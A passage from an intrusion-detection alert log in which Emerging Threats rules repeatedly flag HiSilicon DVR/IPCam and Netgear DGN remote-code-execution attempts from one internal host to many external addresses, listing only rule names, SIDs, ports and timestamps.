SID:	2030488
Source Port:	59526
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 104.186.144.87

Timestamp:	05/16/24-16:39:08.092947
SID:	2030487
Source Port:	34854
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 182.42.187.34

Timestamp:	05/16/24-16:39:08.092958
SID:	2030487
Source Port:	59526
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 104.186.144.87

Timestamp:	05/16/24-16:39:08.092947
SID:	2030488
Source Port:	34854
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 110.108.24.89

Timestamp:	05/16/24-16:38:57.304731
SID:	2030487
Source Port:	37910
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 110.108.24.89

Timestamp:	05/16/24-16:38:57.304731
SID:	2030488
Source Port:	37910
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 197.85.200.199

Timestamp:	05/16/24-16:39:03.280132
SID:	2030488
Source Port:	34118
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 20.68.198.40

Timestamp:	05/16/24-16:39:05.677868
SID:	2030488
Source Port:	57858
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 20.68.198.40

Timestamp:	05/16/24-16:39:05.677868
SID:	2030487
Source Port:	57858
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 17.224.203.193

Timestamp:	05/16/24-16:38:59.519428
SID:	2030488
Source Port:	50708
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 17.224.203.193

Timestamp:	05/16/24-16:38:59.519428
SID:	2030487
Source Port:	50708
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 62.20.83.105

Timestamp:	05/16/24-16:39:14.492253
SID:	2030487
Source Port:	42442
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 89.251.251.62

Timestamp:	05/16/24-16:39:12.295395
SID:	2030487
Source Port:	38910
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 62.20.83.105

Timestamp:	05/16/24-16:39:14.492253
SID:	2030488
Source Port:	42442
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 67.1.237.162

Timestamp:	05/16/24-16:38:55.220928
SID:	2030487
Source Port:	55756
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.251.251.62

Timestamp:	05/16/24-16:39:12.295395
SID:	2030488
Source Port:	38910
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 67.1.237.162

Timestamp:	05/16/24-16:38:55.220928
SID:	2030488
Source Port:	55756
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 36.80.241.120

Timestamp:	05/16/24-16:39:01.474040
SID:	2029215
Source Port:	51530
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 147.40.121.22

Timestamp:	05/16/24-16:38:55.176105
SID:	2030487
Source Port:	53874
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 147.40.121.22

Timestamp:	05/16/24-16:38:55.176105
SID:	2030488
Source Port:	53874
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 71.63.135.63

Timestamp:	05/16/24-16:38:55.207705
SID:	2030488
Source Port:	44794
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 71.63.135.63

Timestamp:	05/16/24-16:38:55.207705
SID:	2030487
Source Port:	44794
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 151.96.131.75

Timestamp:	05/16/24-16:39:05.676869
SID:	2030488
Source Port:	36728
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 151.96.131.75

Timestamp:	05/16/24-16:39:05.676869
SID:	2030487
Source Port:	36728
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 42.114.53.223

Timestamp:	05/16/24-16:38:55.198254
SID:	2030487
Source Port:	51364
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 150.105.230.199

Timestamp:	05/16/24-16:39:08.149057
SID:	2030487
Source Port:	56342
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 195.159.146.36

Timestamp:	05/16/24-16:38:53.098991
SID:	2030487
Source Port:	57866
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 42.114.53.223

Timestamp:	05/16/24-16:38:55.198254
SID:	2030488
Source Port:	51364
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 129.24.21.219

Timestamp:	05/16/24-16:39:02.744354
SID:	2030487
Source Port:	45448
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 150.105.230.199

Timestamp:	05/16/24-16:39:08.149057
SID:	2030488
Source Port:	56342
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.159.146.36

Timestamp:	05/16/24-16:38:53.098991
SID:	2030488
Source Port:	57866
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 129.24.21.219

Timestamp:	05/16/24-16:39:02.744354
SID:	2030488
Source Port:	45448
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 87.109.151.122

Timestamp:	05/16/24-16:38:57.429392
SID:	2030488
Source Port:	35720
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 87.109.151.122

Timestamp:	05/16/24-16:38:57.429392
SID:	2030487
Source Port:	35720
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 219.73.74.157

Timestamp:	05/16/24-16:39:08.041929
SID:	2030488
Source Port:	33458
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 36.125.122.23

Timestamp:	05/16/24-16:39:16.579857
SID:	2030488
Source Port:	42772
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 219.73.74.157

Timestamp:	05/16/24-16:39:08.041929
SID:	2030487
Source Port:	33458
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 36.125.122.23

Timestamp:	05/16/24-16:39:16.579857
SID:	2030487
Source Port:	42772
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 35.240.139.72

Timestamp:	05/16/24-16:38:55.192823
SID:	2030488
Source Port:	58906
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 35.240.139.72

Timestamp:	05/16/24-16:38:55.192823
SID:	2030487
Source Port:	58906
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 96.8.15.113

Timestamp:	05/16/24-16:38:57.434380
SID:	2030488
Source Port:	60990
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 96.8.15.113

Timestamp:	05/16/24-16:38:57.434380
SID:	2030487
Source Port:	60990
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 136.11.247.228

Timestamp:	05/16/24-16:38:59.593432
SID:	2030488
Source Port:	37886
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 154.243.195.1

Timestamp:	05/16/24-16:39:16.611867
SID:	2030487
Source Port:	60322
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 136.11.247.228

Timestamp:	05/16/24-16:38:59.593432
SID:	2030487
Source Port:	37886
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 39.202.185.148

Timestamp:	05/16/24-16:38:57.444126
SID:	2030488
Source Port:	52554
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 39.202.185.148

Timestamp:	05/16/24-16:38:57.444126
SID:	2030487
Source Port:	52554
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.183.74.104

Timestamp:	05/16/24-16:38:59.559303
SID:	2030488
Source Port:	60782
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 178.183.74.104

Timestamp:	05/16/24-16:38:59.559303
SID:	2030487
Source Port:	60782
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 137.3.172.181

Timestamp:	05/16/24-16:38:53.084745
SID:	2030487
Source Port:	43870
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 137.3.172.181

Timestamp:	05/16/24-16:38:53.084745
SID:	2030488
Source Port:	43870
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 84.71.16.42

Timestamp:	05/16/24-16:39:12.378474
SID:	2030487
Source Port:	56048
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 84.71.16.42

Timestamp:	05/16/24-16:39:12.378474
SID:	2030488
Source Port:	56048
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 25.93.72.242

Timestamp:	05/16/24-16:39:09.587543
SID:	2034576
Source Port:	47444
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 134.165.95.115

Timestamp:	05/16/24-16:38:57.435654
SID:	2030488
Source Port:	39932
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 134.165.95.115

Timestamp:	05/16/24-16:38:57.435654
SID:	2030487
Source Port:	39932
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 156.131.229.174

Timestamp:	05/16/24-16:38:50.046279
SID:	2030488
Source Port:	51350
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 166.144.150.97

Timestamp:	05/16/24-16:39:02.764200
SID:	2030487
Source Port:	47518
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 166.144.150.97

Timestamp:	05/16/24-16:39:02.764200
SID:	2030488
Source Port:	47518
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 192.138.25.50

Timestamp:	05/16/24-16:39:08.126426
SID:	2030488
Source Port:	41580
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 192.138.25.50

Timestamp:	05/16/24-16:39:08.126426
SID:	2030487
Source Port:	41580
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 81.226.167.210

Timestamp:	05/16/24-16:39:16.603128
SID:	2030487
Source Port:	54834
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 81.226.167.210

Timestamp:	05/16/24-16:39:16.603128
SID:	2030488
Source Port:	54834
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 156.131.229.174

Timestamp:	05/16/24-16:38:50.046279
SID:	2030487
Source Port:	51350
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 58.94.210.12

Timestamp:	05/16/24-16:39:16.599369
SID:	2030488
Source Port:	34708
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 52.138.203.195

Timestamp:	05/16/24-16:38:57.436357
SID:	2030487
Source Port:	35852
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 52.138.203.195

Timestamp:	05/16/24-16:38:57.436357
SID:	2030488
Source Port:	35852
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 44.188.92.237

Timestamp:	05/16/24-16:39:05.702486
SID:	2030488
Source Port:	50434
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 58.94.210.12

Timestamp:	05/16/24-16:39:16.599369
SID:	2030487
Source Port:	34708
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 44.188.92.237

Timestamp:	05/16/24-16:39:05.702486
SID:	2030487
Source Port:	50434
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 75.252.141.0

Timestamp:	05/16/24-16:38:59.557105
SID:	2030487
Source Port:	60408
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 75.252.141.0

Timestamp:	05/16/24-16:38:59.557105
SID:	2030488
Source Port:	60408
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 67.46.135.92

Timestamp:	05/16/24-16:39:05.709481
SID:	2030488
Source Port:	54580
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 211.30.78.68

Timestamp:	05/16/24-16:39:12.383589
SID:	2030487
Source Port:	35364
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 67.46.135.92

Timestamp:	05/16/24-16:39:05.709481
SID:	2030487
Source Port:	54580
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 211.30.78.68

Timestamp:	05/16/24-16:39:12.383589
SID:	2030488
Source Port:	35364
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 175.18.100.187

Timestamp:	05/16/24-16:38:53.094063
SID:	2030487
Source Port:	39032
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 175.18.100.187

Timestamp:	05/16/24-16:38:53.094063
SID:	2030488
Source Port:	39032
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 2.132.140.128

Timestamp:	05/16/24-16:39:12.377477
SID:	2030488
Source Port:	45758
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 2.132.140.128

Timestamp:	05/16/24-16:39:12.377477
SID:	2030487
Source Port:	45758
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 37.255.236.205

Timestamp:	05/16/24-16:38:50.048861
SID:	2030487
Source Port:	53134
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 121.158.59.12

Timestamp:	05/16/24-16:38:53.071312
SID:	2030488
Source Port:	42888
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 192.146.140.145

Timestamp:	05/16/24-16:38:55.193096
SID:	2030488
Source Port:	40642
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 121.158.59.12

Timestamp:	05/16/24-16:38:53.071312
SID:	2030487
Source Port:	42888
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 192.146.140.145

Timestamp:	05/16/24-16:38:55.193096
SID:	2030487
Source Port:	40642
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 46.161.201.197

Timestamp:	05/16/24-16:38:59.589135
SID:	2030487
Source Port:	53586
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.161.201.197

Timestamp:	05/16/24-16:38:59.589135
SID:	2030488
Source Port:	53586
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 170.58.189.222

Timestamp:	05/16/24-16:38:55.175105
SID:	2030487
Source Port:	47582
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 63.152.245.170

Timestamp:	05/16/24-16:39:12.378439
SID:	2030487
Source Port:	59410
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 170.58.189.222

Timestamp:	05/16/24-16:38:55.175105
SID:	2030488
Source Port:	47582
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 63.152.245.170

Timestamp:	05/16/24-16:39:12.378439
SID:	2030488
Source Port:	59410
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 178.159.109.78

Timestamp:	05/16/24-16:39:14.523118
SID:	2030487
Source Port:	47302
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.159.109.78

Timestamp:	05/16/24-16:39:14.523118
SID:	2030488
Source Port:	47302
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 211.166.102.233

Timestamp:	05/16/24-16:38:59.588220
SID:	2030488
Source Port:	41506
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 85.235.79.155

Timestamp:	05/16/24-16:39:12.402900
SID:	2030487
Source Port:	48398
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.235.79.155

Timestamp:	05/16/24-16:39:12.402900
SID:	2030488
Source Port:	48398
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 211.166.102.233

Timestamp:	05/16/24-16:38:59.588220
SID:	2030487
Source Port:	41506
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 37.255.236.205

Timestamp:	05/16/24-16:38:50.048861
SID:	2030488
Source Port:	53134
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 123.0.189.219

Timestamp:	05/16/24-16:38:50.078889
SID:	2030487
Source Port:	48726
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

